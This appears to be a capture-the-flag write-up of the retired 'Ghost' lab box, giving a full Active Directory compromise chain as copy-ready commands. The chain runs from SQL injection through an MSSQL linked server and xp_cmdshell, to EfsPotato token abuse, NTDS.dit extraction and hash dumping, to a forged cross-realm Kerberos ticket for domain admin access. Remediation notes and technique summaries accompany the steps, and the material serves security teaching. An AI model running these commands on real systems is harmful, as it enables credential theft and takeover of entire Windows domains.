Ghost
Summary
The Ghost domain controller exposed an internal 'Ghost Core' administration panel on 8443 whose SQL diagnostic feature accepted my own T-SQL. That injection point was used to hop across a configured MSSQL linked server into the child domain's SQL Server, impersonate the sa login, and enable xp_cmdshell — giving OS command execution on the linked host.
From that foothold, EfsPotato was used to abuse SeImpersonatePrivilege and obtain a SYSTEM-equivalent token on the SQL Server host, which was then used to trigger an NTDS Install-From-Media snapshot of the child domain, exfiltrating NTDS.dit and the SYSTEM hive back out through the same injection channel. Parsing that data recovered the GHOST$ inter-realm trust key and the child domain's SID, which were used to forge a cross-realm Kerberos ticket carrying the parent domain's Enterprise Admins SID.
The parent domain controller (DC01) honored that ticket as Administrator, giving full SMB/CIFS access and allowing root.txt to be pulled directly from the Administrator's desktop — full forest compromise from the database tier upwards. The session that reaches that tier is where this account begins: the Ghost Core admin panel was already authenticated when these steps run, so what follows is the escalation rather than the way in.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <its-password>, <the-panel-account>, <trust_key_nthash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Full TCP port and service-version sweep.
$ nmap -sC -sV -p- $TARGETIdentify the Ghost Core admin application behind nginx.
$ curl -ksS -L --max-time 15 --max-redirs 5 -D - https://$TARGET:8443/Confirm the authentication endpoint exposed by the app.
$ curl -ksS -L --max-time 10 --max-redirs 3 https://$TARGET:8443/api/loginThe cookie jar every request below reads from. Without it they land on the login page instead of the debugger.
$ curl -sk --resolve core.ghost.htb:8443:$TARGET -c /tmp/core.cookies -X POST https://core.ghost.htb:8443/api/login -H 'Content-Type: application/json' --data '{"username":"<the-panel-account>","password":"<its-password>"}'Exact commands 2
Enumerate linked servers reachable through the injectable sql parameter.
$ curl -sk --max-time 120 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode "sql=SELECT srvname, isremote FROM master..sysservers"Cross the linked server, impersonate sa, and enable xp_cmdshell for OS command execution.
$ curl -sk --max-time 120 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode "sql=EXEC ('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [PRIMARY]"FixEliminate the SQL injection point in the Ghost Core admin panel and lock down linked serversCritical
Exact commands 2
Runs EfsPotato through xp_cmdshell on the linked SQL host to mint a SYSTEM token.
$ curl -sk --max-time 120 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode "sql=EXEC ('EXECUTE AS LOGIN = ''sa''; EXEC xp_cmdshell ''%TEMP%\EfsPotato.exe \"cmd.exe /c whoami\"''') AT [PRIMARY]"Compile EfsPotato from source on-target if a prebuilt binary is quarantined by Defender.
$ csc.exe /out:EfsPotato.exe EfsPotato.csFixDisable xp_cmdshell and harden SQL Server hosts against SeImpersonatePrivilege abuseCritical
Exact commands 3
Trigger the ntdsutil IFM snapshot of NTDS.dit and the SYSTEM hive and compress it.
$ curl -sk --max-time 300 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-check-ntds-zip.sqlStage the compressed NTDS archive in tempdb so it can be read back out through the injection channel.
$ curl -sk --max-time 300 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-store-zip-tempdb.sqlParse the exfiltrated hive offline to recover every domain account's NTLM hash.
$ secretsdump.py -ntds ntds.dit -system SYSTEM LOCALFixIsolate Tier-0 domain controllers from application-tier SQL Servers and restrict NTDS extractionCritical
Exact commands 4
Query AD for the GHOST$ inter-realm trust account via the SYSTEM-level channel.
$ curl -sk --max-time 180 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-query-trust.sqlRetrieve the child domain SID needed to add Enterprise Admins as an ExtraSID.
$ curl -sk --max-time 180 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-child-sid.sqlForge a cross-realm TGT using the stolen inter-realm trust key, granting Enterprise Admins rights in the parent domain.
$ impacket-ticketer -nthash <trust_key_nthash> -domain-sid <CHILD_DOMAIN_SID> -extra-sid <PARENT_ENTERPRISE_ADMINS_SID>-519 -spn krbtgt/ghost.htb AdministratorThe forged TGT buys service tickets. This is the one the next step uses, written to cifs.ccache.
$ KRB5CCNAME=/tmp/ghost-ticket/trust.ccache impacket-getST -k -no-pass -spn cifs/dc01.ghost.htb -dc-ip $TARGET 'ghost.htb/Administrator'FixProtect the inter-domain trust key and enable SID filtering across the trustCritical
Exact commands 3
Confirm the ticket grants full administrative SMB access to the parent DC.
$ netexec smb dc01.ghost.htb -k --use-kcacheBuild an smbclient batch file targeting the Administrator desktop.
$ printf 'use C$\ncd Users\\Administrator\\Desktop\nget root.txt\nexit\n' > /tmp/get-root.smbAuthenticate with the Kerberos ccache and pull root.txt; replace the captured value with <root.txt>.
$ KRB5CCNAME=/tmp/ghost-ticket/cifs.ccache impacket-smbclient -k -no-pass -inputfile /tmp/get-root.smb dc01.ghost.htbAttack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 443/tcp | http recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM |
| 2179/tcp | unknown recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 5985/tcp | winrm recon-sweep-discovered |
| 8008/tcp | http nginx 1.18.0 (Ubuntu) |
| 8443/tcp | ssl/http nginx 1.18.0 (Ubuntu) |
| 9389/tcp | unknown recon-sweep-discovered |
| 49443/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49672/tcp | unknown recon-sweep-discovered |
| 49679/tcp | unknown recon-sweep-discovered |
| 58374/tcp | unknown recon-sweep-discovered |
| 63057/tcp | unknown recon-sweep-discovered |
| 63108/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.